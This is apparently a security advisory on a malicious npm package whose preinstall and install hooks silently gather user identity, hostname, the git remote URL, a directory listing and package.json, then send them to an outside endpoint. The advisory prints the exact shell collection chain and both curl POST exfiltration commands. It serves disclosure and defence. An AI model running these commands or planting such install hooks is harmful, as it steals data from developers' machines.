GCVE-110-OSM-2026-4691

Exfiltrates user identity, hostname, git repository remote URL, source directory listing, and project package.json to attacker-controlled endpoint https://o5i.cc/supp via two curl POST requests executed silently at install time. Both preinstall and install hooks invoke the payload, triggering double execution. The package description openly declares hostile intent as cover for the reconnaissance operation. **Trigger** (`preinstall` + `install`): both hooks execute `node index.js` at install time. **Collection**: `execSync` shell chain in `loaders/index.js` runs: `id > log.txt; ls -la src/ >> log.txt; hostname >> log.txt; git config --get remote.origin.url >> log.txt; cat package.json >> log.txt` — aggregating user identity, directory listing, machine hostname, git remote URL, and project manifest into `log.txt`. **Exfiltration**: `curl -X POST -F "file=@log.txt" https://o5i.cc/supp` uploads the full log; a second call `curl -X POST -d "$(id)" https://o5i.cc/supp` sends the user identity string directly in the POST body. **Decoy**: writes `git.log` to the consumer project root to match the declared package description.